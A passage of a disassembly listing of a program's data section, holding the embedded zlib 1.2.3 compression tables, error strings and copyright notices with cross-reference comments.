		dd 25C6ADACh, 1881F1A7h, 2FEB33A6h, 765575A4h, 413FB7A5h
		dd 0C429F8A0h, 0F3433AA1h, 0AAFD7CA3h, 9D97BEA2h, 0D073C4B5h
		dd 0E71906B4h, 0BEA740B6h, 89CD82B7h, 0CDBCDB2h, 3BB10FB3h
		dd 620F49B1h, 55658BB0h, 6822D7BBh, 5F4815BAh, 6F653B8h
		dd 319C91B9h, 0B48ADEBCh, 83E01CBDh, 0DA5E5ABFh, 0ED3498BEh
		dd 0
		dd 6567BCB8h, 8BC809AAh, 0EEAFB512h, 5797628Fh,	32F0DE37h
		dd 0DC5F6B25h, 0B938D79Dh, 0EF28B4C5h, 8A4F087Dh, 64E0BD6Fh
		dd 18701D7h, 0B8BFD64Ah, 0DDD86AF2h, 3377DFE0h,	56106358h
		dd 9F571950h, 0FA30A5E8h, 149F10FAh, 71F8AC42h,	0C8C07BDFh
		dd 0ADA7C767h, 43087275h, 266FCECDh, 707FAD95h,	1518112Dh
		dd 0FBB7A43Fh, 9ED01887h, 27E8CF1Ah, 428F73A2h,	0AC20C6B0h
		dd 0C9477A08h, 3EAF32A0h, 5BC88E18h, 0B5673B0Ah, 0D00087B2h
		dd 6938502Fh, 0C5FEC97h, 0E2F05985h, 8797E53Dh,	0D1878665h
		dd 0B4E03ADDh, 5A4F8FCFh, 3F283377h, 8610E4EAh,	0E3775852h
		dd 0DD8ED40h, 68BF51F8h, 0A1F82BF0h, 0C49F9748h, 2A30225Ah
		dd 4F579EE2h, 0F66F497Fh, 9308F5C7h, 7DA740D5h,	18C0FC6Dh
		dd 4ED09F35h, 2BB7238Dh, 0C518969Fh, 0A07F2A27h, 1947FDBAh
		dd 7C204102h, 928FF410h, 0F7E848A8h, 3D58149Bh,	583FA823h
		dd 0B6901D31h, 0D3F7A189h, 6ACF7614h, 0FA8CAACh, 0E1077FBEh
		dd 8460C306h, 0D270A05Eh, 0B7171CE6h, 59B8A9F4h, 3CDF154Ch
		dd 85E7C2D1h, 0E0807E69h, 0E2FCB7Bh, 6B4877C3h,	0A20F0DCBh
		dd 0C768B173h, 29C70461h, 4CA0B8D9h, 0F5986F44h, 90FFD3FCh
		dd 7E5066EEh, 1B37DA56h, 4D27B90Eh, 284005B6h, 0C6EFB0A4h
		dd 0A3880C1Ch, 1AB0DB81h, 7FD76739h, 9178D22Bh,	0F41F6E93h
		dd 3F7263Bh, 66909A83h,	883F2F91h, 0ED589329h, 546044B4h
		dd 3107F80Ch, 0DFA84D1Eh, 0BACFF1A6h, 0ECDF92FEh, 89B82E46h
		dd 67179B54h, 27027ECh,	0BB48F071h, 0DE2F4CC9h,	3080F9DBh
		dd 55E74563h, 9CA03F6Bh, 0F9C783D3h, 176836C1h,	720F8A79h
		dd 0CB375DE4h, 0AE50E15Ch, 40FF544Eh, 2598E8F6h, 73888BAEh
		dd 16EF3716h, 0F8408204h, 9D273EBCh, 241FE921h,	41785599h
		dd 0AFD7E08Bh, 0CAB05C33h, 3BB659EDh, 5ED1E555h, 0B07E5047h
		dd 0D519ECFFh, 6C213B62h, 94687DAh, 0E7E932C8h,	828E8E70h
		dd 0D49EED28h, 0B1F95190h, 5F56E482h, 3A31583Ah, 83098FA7h
		dd 0E66E331Fh, 8C1860Dh, 6DA63AB5h, 0A4E140BDh,	0C186FC05h
		dd 2F294917h, 4A4EF5AFh, 0F3762232h, 96119E8Ah,	78BE2B98h
		dd 1DD99720h, 4BC9F478h, 2EAE48C0h, 0C001FDD2h,	0A566416Ah
		dd 1C5E96F7h, 79392A4Fh, 97969F5Dh, 0F2F123E5h,	5196B4Dh
		dd 607ED7F5h, 8ED162E7h, 0EBB6DE5Fh, 528E09C2h,	37E9B57Ah
		dd 0D9460068h, 0BC21BCD0h, 0EA31DF88h, 8F566330h, 61F9D622h
		dd 49E6A9Ah, 0BDA6BD07h, 0D8C101BFh, 366EB4ADh,	53090815h
		dd 9A4E721Dh, 0FF29CEA5h, 11867BB7h, 74E1C70Fh,	0CDD91092h
		dd 0A8BEAC2Ah, 46111938h, 2376A580h, 7566C6D8h,	10017A60h
		dd 0FEAECF72h, 9BC973CAh, 22F1A457h, 479618EFh,	0A939ADFDh
		dd 0CC5E1145h, 6EE4D76h, 6389F1CEh, 8D2644DCh, 0E841F864h
		dd 51792FF9h, 341E9341h, 0DAB12653h, 0BFD69AEBh, 0E9C6F9B3h
		dd 8CA1450Bh, 620EF019h, 7694CA1h, 0BE519B3Ch, 0DB362784h
		dd 35999296h, 50FE2E2Eh, 99B95426h, 0FCDEE89Eh,	12715D8Ch
		dd 7716E134h, 0CE2E36A9h, 0AB498A11h, 45E63F03h, 208183BBh
		dd 7691E0E3h, 13F65C5Bh, 0FD59E949h, 983E55F1h,	2106826Ch
		dd 44613ED4h, 0AACE8BC6h, 0CFA9377Eh, 38417FD6h, 5D26C36Eh
		dd 0B389767Ch, 0D6EECAC4h, 6FD61D59h, 0AB1A1E1h, 0E41E14F3h
		dd 8179A84Bh, 0D769CB13h, 0B20E77ABh, 5CA1C2B9h, 39C67E01h
		dd 80FEA99Ch, 0E5991524h, 0B36A036h, 6E511C8Eh,	0A7166686h
		dd 0C271DA3Eh, 2CDE6F2Ch, 49B9D394h, 0F0810409h, 95E6B8B1h
		dd 7B490DA3h, 1E2EB11Bh, 483ED243h, 2D596EFBh, 0C3F6DBE9h
		dd 0A6916751h, 1FA9B0CCh, 7ACE0C74h, 9461B966h,	0F10605DEh
aDeflate1_2_3Co	db ' deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly ',0
		align 4
word_41E2D8	dw 0			; DATA XREF: sub_40EE90+3Dr
word_41E2DA	dw 0			; DATA XREF: sub_40EE90+30r
word_41E2DC	dw 0			; DATA XREF: sub_40EE90+4Ar
word_41E2DE	dw 0			; DATA XREF: sub_40EE90+5Ar
off_41E2E0	dd offset sub_40F22C	; DATA XREF: sub_40E674+60Ar
		dd 40004h, 40008h, 40F354h, 50004h, 80010h, 40F354h, 60004h
		dd 200020h, 40F354h, 40004h, 100010h, 40F63Eh, 100008h
		dd 200020h, 40F63Eh, 100008h, 800080h, 40F63Eh,	200008h
		dd 1000080h, 40F63Eh, 800020h, 4000102h, 40F63Eh, 1020020h
		dd 10000102h, 40F63Eh, 2E322E31h, 33h, 760h, 500800h, 100800h
		dd 730814h, 1F0712h, 700800h, 300800h, 0C00900h, 0A0710h
		dd 600800h, 200800h, 0A00900h, 800h, 800800h, 400800h
		dd 0E00900h, 60710h, 580800h, 180800h, 900900h,	3B0713h
		dd 780800h, 380800h, 0D00900h, 110711h,	680800h, 280800h
		dd 0B00900h, 80800h, 880800h, 480800h, 0F00900h, 40710h
		dd 540800h, 140800h, 0E30815h, 2B0713h,	740800h, 340800h
		dd 0C80900h, 0D0711h, 640800h, 240800h,	0A80900h, 40800h
		dd 840800h, 440800h, 0E80900h, 80710h, 5C0800h,	1C0800h
		dd 980900h, 530714h, 7C0800h, 3C0800h, 0D80900h, 170712h
		dd 6C0800h, 2C0800h, 0B80900h, 0C0800h,	8C0800h, 4C0800h
		dd 0F80900h, 30710h, 520800h, 120800h, 0A30815h, 230713h
		dd 720800h, 320800h, 0C40900h, 0B0711h,	620800h, 220800h
		dd 0A40900h, 20800h, 820800h, 420800h, 0E40900h, 70710h
		dd 5A0800h, 1A0800h, 940900h, 430714h, 7A0800h,	3A0800h
		dd 0D40900h, 130712h, 6A0800h, 2A0800h,	0B40900h, 0A0800h
		dd 8A0800h, 4A0800h, 0F40900h, 50710h, 560800h,	160800h
		dd 840h, 330713h, 760800h, 360800h, 0CC0900h, 0F0711h
		dd 660800h, 260800h, 0AC0900h, 60800h, 860800h,	460800h
		dd 0EC0900h, 90710h, 5E0800h, 1E0800h, 9C0900h,	630714h
		dd 7E0800h, 3E0800h, 0DC0900h, 1B0712h,	6E0800h, 2E0800h
		dd 0BC0900h, 0E0800h, 8E0800h, 4E0800h,	0FC0900h, 760h
		dd 510800h, 110800h, 830815h, 1F0712h, 710800h,	310800h
		dd 0C20900h, 0A0710h, 610800h, 210800h,	0A20900h, 10800h
		dd 810800h, 410800h, 0E20900h, 60710h, 590800h,	190800h
		dd 920900h, 3B0713h, 790800h, 390800h, 0D20900h, 110711h
		dd 690800h, 290800h, 0B20900h, 90800h, 890800h,	490800h
		dd 0F20900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h
		dd 750800h, 350800h, 0CA0900h, 0D0711h,	650800h, 250800h
		dd 0AA0900h, 50800h, 850800h, 450800h, 0EA0900h, 80710h
		dd 5D0800h, 1D0800h, 9A0900h, 530714h, 7D0800h,	3D0800h
		dd 0DA0900h, 170712h, 6D0800h, 2D0800h,	0BA0900h, 0D0800h
		dd 8D0800h, 4D0800h, 0FA0900h, 30710h, 530800h,	130800h
		dd 0C30815h, 230713h, 730800h, 330800h,	0C60900h, 0B0711h
		dd 630800h, 230800h, 0A60900h, 30800h, 830800h,	430800h
		dd 0E60900h, 70710h, 5B0800h, 1B0800h, 960900h,	430714h
		dd 7B0800h, 3B0800h, 0D60900h, 130712h,	6B0800h, 2B0800h
		dd 0B60900h, 0B0800h, 8B0800h, 4B0800h,	0F60900h, 50710h
		dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CE0900h
		dd 0F0711h, 670800h, 270800h, 0AE0900h,	70800h,	870800h
		dd 470800h, 0EE0900h, 90710h, 5F0800h, 1F0800h,	9E0900h
		dd 630714h, 7F0800h, 3F0800h, 0DE0900h,	1B0712h, 6F0800h
		dd 2F0800h, 0BE0900h, 0F0800h, 8F0800h,	4F0800h, 0FE0900h
		dd 760h, 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h
		dd 0C10900h, 0A0710h, 600800h, 200800h,	0A10900h, 800h
		dd 800800h, 400800h, 0E10900h, 60710h, 580800h,	180800h
		dd 910900h, 3B0713h, 780800h, 380800h, 0D10900h, 110711h
		dd 680800h, 280800h, 0B10900h, 80800h, 880800h,	480800h
		dd 0F10900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h
		dd 740800h, 340800h, 0C90900h, 0D0711h,	640800h, 240800h
		dd 0A90900h, 40800h, 840800h, 440800h, 0E90900h, 80710h
		dd 5C0800h, 1C0800h, 990900h, 530714h, 7C0800h,	3C0800h
		dd 0D90900h, 170712h, 6C0800h, 2C0800h,	0B90900h, 0C0800h
		dd 8C0800h, 4C0800h, 0F90900h, 30710h, 520800h,	120800h
		dd 0A30815h, 230713h, 720800h, 320800h,	0C50900h, 0B0711h
		dd 620800h, 220800h, 0A50900h, 20800h, 820800h,	420800h
		dd 0E50900h, 70710h, 5A0800h, 1A0800h, 950900h,	430714h
		dd 7A0800h, 3A0800h, 0D50900h, 130712h,	6A0800h, 2A0800h
		dd 0B50900h, 0A0800h, 8A0800h, 4A0800h,	0F50900h, 50710h
		dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CD0900h
		dd 0F0711h, 660800h, 260800h, 0AD0900h,	60800h,	860800h
		dd 460800h, 0ED0900h, 90710h, 5E0800h, 1E0800h,	9D0900h
		dd 630714h, 7E0800h, 3E0800h, 0DD0900h,	1B0712h, 6E0800h
		dd 2E0800h, 0BD0900h, 0E0800h, 8E0800h,	4E0800h, 0FD0900h
		dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h
		dd 0C30900h, 0A0710h, 610800h, 210800h,	0A30900h, 10800h
		dd 810800h, 410800h, 0E30900h, 60710h, 590800h,	190800h
		dd 930900h, 3B0713h, 790800h, 390800h, 0D30900h, 110711h
		dd 690800h, 290800h, 0B30900h, 90800h, 890800h,	490800h
		dd 0F30900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h
		dd 750800h, 350800h, 0CB0900h, 0D0711h,	650800h, 250800h
		dd 0AB0900h, 50800h, 850800h, 450800h, 0EB0900h, 80710h
		dd 5D0800h, 1D0800h, 9B0900h, 530714h, 7D0800h,	3D0800h
		dd 0DB0900h, 170712h, 6D0800h, 2D0800h,	0BB0900h, 0D0800h
		dd 8D0800h, 4D0800h, 0FB0900h, 30710h, 530800h,	130800h
		dd 0C30815h, 230713h, 730800h, 330800h,	0C70900h, 0B0711h
		dd 630800h, 230800h, 0A70900h, 30800h, 830800h,	430800h
		dd 0E70900h, 70710h, 5B0800h, 1B0800h, 970900h,	430714h
		dd 7B0800h, 3B0800h, 0D70900h, 130712h,	6B0800h, 2B0800h
		dd 0B70900h, 0B0800h, 8B0800h, 4B0800h,	0F70900h, 50710h
		dd 570800h, 170800h
		dd 840h, 330713h, 770800h, 370800h, 0CF0900h, 0F0711h
		dd 670800h, 270800h, 0AF0900h, 70800h, 870800h,	470800h
		dd 0EF0900h, 90710h, 5F0800h, 1F0800h, 9F0900h,	630714h
		dd 7F0800h, 3F0800h, 0DF0900h, 1B0712h,	6F0800h, 2F0800h
		dd 0BF0900h, 0F0800h, 8F0800h, 4F0800h,	0FF0900h, 10510h
		dd 1010517h, 110513h, 1001051Bh, 50511h, 4010519h, 410515h
		dd 4001051Dh, 30510h, 2010518h,	210514h, 2001051Ch, 90512h
		dd 801051Ah, 810516h, 540h, 20510h, 1810517h, 190513h
		dd 1801051Bh, 70511h, 6010519h,	610515h, 6001051Dh, 40510h
		dd 3010518h, 310514h, 3001051Ch, 0D0512h, 0C01051Ah, 0C10516h
		dd 540h, 110010h, 12h, 70008h, 60009h, 5000Ah, 4000Bh
		dd 3000Ch, 2000Dh, 1000Eh, 0Fh
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_41025B+700o
		align 4
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_41025B+79Bo
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0
					; DATA XREF: sub_41025B:loc_410ADFo
aInvalidDistanc	db 'invalid distance too far back',0 ; DATA XREF: sub_40FC7B:loc_40FFD9o
					; sub_41025B+F0Fo
		align 4
aInvalidDista_0	db 'invalid distance code',0 ; DATA XREF: sub_40FC7B:loc_40FFE2o
					; sub_41025B+E97o
		align 10h
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_40FC7B:loc_40FFF8o
					; sub_41025B+D43o
aInvalidDista_1	db 'invalid distances set',0 ; DATA XREF: sub_41025B+BABo
		align 4
aInvalidLiter_0	db 'invalid literal/lengths set',0 ; DATA XREF: sub_41025B+B32o
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_41025B+AE1o
					; sub_41025B+B66o
		align 4
aInvalidCodeLen	db 'invalid code lengths set',0 ; DATA XREF: sub_41025B+934o
		align 4
asc_41ED18	db '`',7,0              ; DATA XREF: sub_41025B:loc_410972o
		align 4
		dd 500800h, 100800h, 730814h, 1F0712h, 700800h,	300800h
		dd 0C00900h, 0A0710h, 600800h, 200800h,	0A00900h, 800h
		dd 800800h, 400800h, 0E00900h, 60710h, 580800h,	180800h
		dd 900900h, 3B0713h, 780800h, 380800h, 0D00900h, 110711h
		dd 680800h, 280800h, 0B00900h, 80800h, 880800h,	480800h
		dd 0F00900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h
		dd 740800h, 340800h, 0C80900h, 0D0711h,	640800h, 240800h
		dd 0A80900h, 40800h, 840800h, 440800h, 0E80900h, 80710h
		dd 5C0800h, 1C0800h, 980900h, 530714h, 7C0800h,	3C0800h
		dd 0D80900h, 170712h, 6C0800h, 2C0800h,	0B80900h, 0C0800h
		dd 8C0800h, 4C0800h, 0F80900h, 30710h, 520800h,	120800h
		dd 0A30815h, 230713h, 720800h, 320800h,	0C40900h, 0B0711h
		dd 620800h, 220800h, 0A40900h, 20800h, 820800h,	420800h
		dd 0E40900h, 70710h, 5A0800h, 1A0800h, 940900h,	430714h
		dd 7A0800h, 3A0800h, 0D40900h, 130712h,	6A0800h, 2A0800h
		dd 0B40900h, 0A0800h, 8A0800h, 4A0800h,	0F40900h, 50710h
		dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CC0900h
		dd 0F0711h, 660800h, 260800h, 0AC0900h,	60800h,	860800h
		dd 460800h, 0EC0900h, 90710h, 5E0800h, 1E0800h,	9C0900h
		dd 630714h, 7E0800h, 3E0800h, 0DC0900h,	1B0712h, 6E0800h
		dd 2E0800h, 0BC0900h, 0E0800h, 8E0800h,	4E0800h, 0FC0900h
		dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h
		dd 0C20900h, 0A0710h, 610800h, 210800h,	0A20900h, 10800h
		dd 810800h, 410800h, 0E20900h, 60710h, 590800h,	190800h
		dd 920900h, 3B0713h, 790800h, 390800h, 0D20900h, 110711h
		dd 690800h, 290800h, 0B20900h, 90800h, 890800h,	490800h
		dd 0F20900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h
		dd 750800h, 350800h, 0CA0900h, 0D0711h,	650800h, 250800h
		dd 0AA0900h, 50800h, 850800h, 450800h, 0EA0900h, 80710h
		dd 5D0800h, 1D0800h, 9A0900h, 530714h, 7D0800h,	3D0800h
		dd 0DA0900h, 170712h, 6D0800h, 2D0800h,	0BA0900h, 0D0800h
		dd 8D0800h, 4D0800h, 0FA0900h, 30710h, 530800h,	130800h
		dd 0C30815h, 230713h, 730800h, 330800h,	0C60900h, 0B0711h
		dd 630800h, 230800h, 0A60900h, 30800h, 830800h,	430800h
		dd 0E60900h, 70710h, 5B0800h, 1B0800h, 960900h,	430714h
		dd 7B0800h, 3B0800h, 0D60900h, 130712h,	6B0800h, 2B0800h
		dd 0B60900h, 0B0800h, 8B0800h, 4B0800h,	0F60900h, 50710h
		dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CE0900h
		dd 0F0711h, 670800h, 270800h, 0AE0900h,	70800h,	870800h
		dd 470800h, 0EE0900h, 90710h, 5F0800h, 1F0800h,	9E0900h
		dd 630714h, 7F0800h, 3F0800h, 0DE0900h,	1B0712h, 6F0800h
		dd 2F0800h, 0BE0900h, 0F0800h, 8F0800h,	4F0800h, 0FE0900h
		dd 760h, 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h
		dd 0C10900h, 0A0710h, 600800h, 200800h,	0A10900h, 800h
		dd 800800h, 400800h, 0E10900h, 60710h, 580800h,	180800h
		dd 910900h, 3B0713h, 780800h, 380800h, 0D10900h, 110711h
		dd 680800h, 280800h, 0B10900h, 80800h, 880800h,	480800h
		dd 0F10900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h
		dd 740800h, 340800h, 0C90900h, 0D0711h,	640800h, 240800h
		dd 0A90900h, 40800h, 840800h, 440800h, 0E90900h, 80710h
		dd 5C0800h, 1C0800h, 990900h, 530714h, 7C0800h,	3C0800h
		dd 0D90900h, 170712h, 6C0800h, 2C0800h,	0B90900h, 0C0800h
		dd 8C0800h, 4C0800h, 0F90900h, 30710h, 520800h,	120800h
		dd 0A30815h, 230713h, 720800h, 320800h,	0C50900h, 0B0711h
		dd 620800h, 220800h, 0A50900h, 20800h, 820800h,	420800h
		dd 0E50900h, 70710h, 5A0800h, 1A0800h, 950900h,	430714h
		dd 7A0800h, 3A0800h, 0D50900h, 130712h,	6A0800h, 2A0800h
		dd 0B50900h, 0A0800h, 8A0800h, 4A0800h,	0F50900h, 50710h
		dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CD0900h
		dd 0F0711h, 660800h, 260800h, 0AD0900h,	60800h,	860800h
		dd 460800h, 0ED0900h, 90710h, 5E0800h, 1E0800h,	9D0900h
		dd 630714h, 7E0800h, 3E0800h, 0DD0900h,	1B0712h, 6E0800h
		dd 2E0800h, 0BD0900h, 0E0800h, 8E0800h,	4E0800h, 0FD0900h
		dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h
		dd 0C30900h, 0A0710h, 610800h, 210800h,	0A30900h, 10800h
		dd 810800h, 410800h, 0E30900h, 60710h, 590800h,	190800h
		dd 930900h, 3B0713h, 790800h, 390800h, 0D30900h, 110711h
		dd 690800h, 290800h, 0B30900h, 90800h, 890800h,	490800h
		dd 0F30900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h
		dd 750800h, 350800h, 0CB0900h, 0D0711h,	650800h, 250800h
		dd 0AB0900h, 50800h, 850800h, 450800h, 0EB0900h, 80710h
		dd 5D0800h, 1D0800h, 9B0900h, 530714h, 7D0800h,	3D0800h
		dd 0DB0900h, 170712h, 6D0800h, 2D0800h,	0BB0900h, 0D0800h
		dd 8D0800h, 4D0800h, 0FB0900h, 30710h, 530800h,	130800h
		dd 0C30815h, 230713h, 730800h, 330800h,	0C70900h, 0B0711h
		dd 630800h, 230800h, 0A70900h, 30800h, 830800h,	430800h
		dd 0E70900h, 70710h, 5B0800h, 1B0800h, 970900h,	430714h
		dd 7B0800h, 3B0800h, 0D70900h, 130712h,	6B0800h, 2B0800h
		dd 0B70900h, 0B0800h, 8B0800h, 4B0800h,	0F70900h, 50710h
		dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CF0900h
		dd 0F0711h, 670800h, 270800h, 0AF0900h,	70800h,	870800h
		dd 470800h, 0EF0900h, 90710h, 5F0800h, 1F0800h,	9F0900h
		dd 630714h, 7F0800h, 3F0800h, 0DF0900h,	1B0712h, 6F0800h
		dd 2F0800h, 0BF0900h, 0F0800h, 8F0800h,	4F0800h, 0FF0900h
dword_41F518	dd 10510h, 1010517h, 110513h, 1001051Bh, 50511h, 4010519h
					; DATA XREF: sub_41025B+725o
		dd 410515h, 4001051Dh, 30510h, 2010518h, 210514h, 2001051Ch
		dd 90512h, 801051Ah, 810516h, 540h, 20510h, 1810517h, 190513h
		dd 1801051Bh, 70511h, 6010519h,	610515h, 6001051Dh, 40510h
		dd 3010518h, 310514h, 3001051Ch, 0D0512h, 0C01051Ah, 0C10516h
		dd 540h
word_41F598	dw 10h			; DATA XREF: sub_41025B+8B7r
					; sub_41025B+8E3r
		dw 11h
		dd 12h,	70008h,	60009h,	5000Ah,	4000Bh,	3000Ch,	2000Dh
		dd 1000Eh, 0Fh
aIncorrectLengt	db 'incorrect length check',0 ; DATA XREF: sub_41025B+10C9o
		align 4
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_41025B+1073o
		align 10h
aHeaderCrcMisma	db 'header crc mismatch',0 ; DATA XREF: sub_41025B+5C1o
aUnknownHeaderF	db 'unknown header flags set',0 ; DATA XREF: sub_41025B+1EEo
		align 10h
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_41025B+198o
		align 4
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_41025B+154o
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_41025B+12Fo
					; sub_41025B+1DBo
		align 4
aInflate1_2_3Co	db ' inflate 1.2.3 Copyright 1995-2005 Mark Adler ',0
		align 4
dword_41F698	dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h
					; DATA XREF: sub_411515+141o
		dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h,	0A30083h
		dd 0E300C3h, 102h, 0
dword_41F6D8	dd 4 dup(100010h), 2 dup(110011h), 2 dup(120012h), 2 dup(130013h)
					; DATA XREF: sub_411515+14Bo
		dd 2 dup(140014h), 2 dup(150015h), 0C90010h, 0C4h
dword_41F718	dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h
					; DATA XREF: sub_411515+124o
		dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h
		dd 30012001h, 60014001h, 0
dword_41F758	dd 2 dup(100010h), 110011h, 120012h, 130013h, 140014h
					; DATA XREF: sub_411515+12Bo
		dd 150015h, 160016h, 170017h, 180018h, 190019h,	1A001Ah
		dd 1B001Bh, 1C001Ch, 1D001Dh, 400040h
dword_41F798	dd 0			; DATA XREF: sub_412320+159r
		dd 7 dup(0)
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
byte_41F80C	db 10h			; DATA XREF: sub_4120EA+18Dr
					; sub_412B0A:loc_412B43r
		db 11h,	12h, 0
		dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_41F820	dd 0			; DATA XREF: sub_412320+287r
		align 10h
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh), 10h dup(0)
		dd 2, 3, 7, 0
dword_41F8E8	dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch
					; DATA XREF: sub_412DBD+1C1o
		dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh
		dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h
		dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h
		dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah
		dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah
		dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h
		dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h
		dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h
		dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh
		dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh
		dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h
		dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h
		dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h
		dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h
		dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h
		dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h
		dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h
		dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh
		dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh
		dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h
		dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h
		dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh
		dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh
		dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh
		dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh
		dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh
		dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h
		dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h
		dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h
		dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h
		dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h
		dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh
		dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh
		dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh
		dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh
		dd 9007Fh, 9017Fh, 900FFh, 901FFh, 70000h, 70040h, 70020h
		dd 70060h, 70010h, 70050h, 70030h, 70070h, 70008h, 70048h
		dd 70028h, 70068h, 70018h, 70058h, 70038h, 70078h, 70004h
		dd 70044h, 70024h, 70064h, 70014h, 70054h, 70034h, 70074h
		dd 80003h, 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h
		dd 800E3h
dword_41FD68	dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch
					; DATA XREF: sub_412DBD:loc_412F79o
		dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 50006h, 50016h
		dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h
		dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh
		dd 50007h, 50017h
byte_41FDE0	db 0			; DATA XREF: .text:0040F47Dr
					; .text:0040F7CEr ...
		db 1, 2, 3
		dd 5050404h, 6060606h, 7070707h, 2 dup(8080808h), 2 dup(9090909h)
		dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch)
		dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh)
byte_41FEE0	db 0			; DATA XREF: .text:0040F489r
					; .text:0040F7DAr ...
		align 2
		dw 1110h
		dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2	dup(17171717h)
		dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah)
		dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh)
byte_41FFE0	db 0			; DATA XREF: .text:0040F45Cr
					; .text:0040F7ADr ...
		db 1, 2, 3
		dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh
		dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h)
		dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h)
